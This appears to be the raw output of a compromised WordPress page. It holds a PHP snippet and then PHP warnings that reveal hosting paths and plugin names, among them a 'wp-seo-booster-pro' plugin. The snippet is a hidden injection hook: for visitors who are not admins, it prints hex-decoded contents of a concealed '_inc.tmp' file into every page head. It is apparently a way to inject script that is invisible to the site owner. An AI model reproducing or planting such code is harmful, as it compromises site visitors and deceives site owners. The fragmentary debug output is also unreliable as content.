if ((is_admin() || (function_exists('get_hex_cache'))) !== true) {
        add_action('wp_head', 'get_hex_cache', 12);

        function get_hex_cache()
        {
            return print(@hex2bin( '3c7' . (file_get_contents(__DIR__  .'/_inc.tmp'))));
        }
    }
<br />
<b>Warning</b>:  session_start(): Session cannot be started after headers have already been sent in <b>/homepages/17/d895796846/htdocs/new/wp-content/plugins/wp-seo-booster-pro/wp-seo-booster-pro.php</b> on line <b>44</b><br />
<br />
<b>Warning</b>:  session_start(): Session cannot be started after headers have already been sent in <b>/homepages/17/d895796846/htdocs/new/wp-content/plugins/booked/booked.php</b> on line <b>369</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /homepages/17/d895796846/htdocs/new/wp-content/plugins/elegro-payment/elegro-payment.php:244) in <b>/homepages/17/d895796846/htdocs/new/wp-includes/pluggable.php</b> on line <b>1416</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /homepages/17/d895796846/htdocs/new/wp-content/plugins/elegro-payment/elegro-payment.php:244) in <b>/homepages/17/d895796846/htdocs/new/wp-includes/pluggable.php</b> on line <b>1419</b><br />